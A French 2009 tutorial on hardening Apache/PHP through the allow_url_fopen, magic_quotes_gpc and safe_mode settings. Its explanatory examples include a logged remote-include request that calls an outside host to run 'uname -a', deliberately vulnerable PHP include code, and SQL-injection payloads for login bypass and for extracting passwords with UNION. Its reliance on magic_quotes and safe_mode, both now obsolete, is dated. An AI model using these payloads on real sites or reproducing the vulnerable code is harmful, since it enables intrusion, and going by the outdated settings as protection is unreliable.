Sécuriser un Serveur WEB Apache
hazem.nasri | 14 juin 2009Résumé :
Les 3 paramètres traités sont :
« allow_url_fopen » ; « magic_quotes_gpc » ; « safe_mode ».
Type de serveur :
Serveurs Web : Apache / PHP
Descriptions :
ð allow_url_fopen = Off
La recommandation de sécurité est de laisser la valeur à « off ».
Lorsque « allow_url_fopen » à est « On », pour toutes les commandes PHP ouvrant un fichier, si la chaine de caractère contenant le nom de fichier est de type “http://”, PHP va récupérer le fichier à l’URL donnée et l’ouvrir.
Cela laisse possible une attaque de type « remote include », environs 70% des failles PHP utilise se principe.
Voici un exemple de ce type d’attaque dans les traces :
GET /alice5130/alice/phpbb/page_tail.php?includePath= <http://www.sitealpha.com/code_hostile.gif?cmd=uname%20-a >HTTP/1.0
Et voici le code vulnérable correspondant:
<?php # def des constantes $file = “client.php”;
#pour avoir un register global if (isset($HTTP_GET_VARS)) { while(list($var,$val)=each($HTTP_GET_VARS)) { $$var=$val;}}
#include de la lib client.php include ($file); ?>
Un appel du type : GET /index.php?file= ‘code_hostile.gif’ aura comme conséquence d’exécuter du code PHP arbitraire sur le serveur.
ð magic_quotes_gpc = On
Ce réglage évite une grande partie des SQL Injections, mais pas toutes !
Le principe est que tous les caractères ‘ (quote) envoyés par l’utilisateur sont remplacés par \’.
Voici une illustration d’une attaque de type SQL Injection :
Le principe est d’envoyer du code SQL pour contourner un processus d’authentification. Sur une page d’authentification ou l’identifiant et le mot de passe sont envoyés à une base de données pour en vérifier l’existence, un pirate va envoyer du code SQL pour réussir à s’identifier.
Considérons le code PHP suivant:
$query=”select * from user where user=’”.$_POST[user].”‘ and passwd=PASSWORD(’”.$_POST[passwd].”‘)”;
Si l’utilisateur entre admin / toto , la requête envoyée va être:
select * from user where user=’admin’ and passwd=’toto’;
Un pirate pourra contourner l’authentification en envoyant par exemple ‘or 1=1 limit 1# / vide , la requête deviendra alors:
select * from user where user= or 1=1 limit 1#’ and passwd=’vide’;
Avec magic_quotes_gpc réglé à « ON », la requête deviendra :
select * from user where user=’\'or 1=1 limit 1#’ and passwd=’vide’;
Il y a cependant deux cas de figures où magic_quote_gpc ne protège pas d’un SQL Injection.
Il est possible en effet de comparer un nombre sans utiliser de quotes avec MySQL . Par exemple:
select commentaire from table_commentaires where id=$_POST[user]
Un pirate peut très bien envoyer du code SQL sans avoir à utiliser de quotes dans cet exemple. Il va pouvoir envoyer dans user 123 union select
passwd from table-passwords . La requête va devenir:
select commentaire from table_commentaires where id=123 union select passwd from table-passwords
Le pirate pourra par ce biais récupérer la liste des identifiants et mot de passe.
Cette attaque a touché SPIP début 2006 et plus récemment GEPI (voir avis sécurité).
En résumé :
magic_quotes_gpc ne protège pas de toutes les attaques par SQL Injection, toutefois il permet d’en éviter la plupart.
Du point de vu d’un responsable sécurité, c’est une bonne chose de l’activer (lorsqu’une faille de type SQL Injection est découverte sur une application on a 2 chances sur 3 de passer au travers grace à ce réglage). Il n’y a pas d’impact sur le fonctionnement d’un site.
ð safe_mode = On
Activer ce réglage a pour conséquence directe de bloquer le fonctionnement d’une partie d’un site écrit en PHP.
Concrètement :
· il désactive toutes les commandes dangereuses exécutant des commandes (system, exec, …) ;
· il empêche à un script d’accéder à un fichier dont il n’est pas propriétaire.
Alternative possible :
Désactiver manuellement toutes les fonctions (un script PHP n’a pas à exécuter des commandes systèmes).
Voici une liste des commandes à désactiver :
· escapeshellarg — Escape a string to be used as a shell argument
· escapeshellcmd — Escape shell metacharacters
· exec — Execute an external program
· passthru — Execute an external program and display raw output
· proc_close — Close a process opened by proc_open() and return the exit code of that process.
· proc_get_status — Get information about a process opened by proc_open()
· proc_nice — Change the priority of the current process
· proc_open — Execute a command and open file pointers for input/output
· proc_terminate — kills a process opened by proc_open
· shell_exec — Execute command via shell and return the complete output as a string
· system — Execute an external program and display the output
Conclusion :
Passer en safe_mode est lourd de conséquence mais présente un gain de sécurité très important, en particulier sur les serveurs hébergeant les scripts de nombreux utilisateurs.







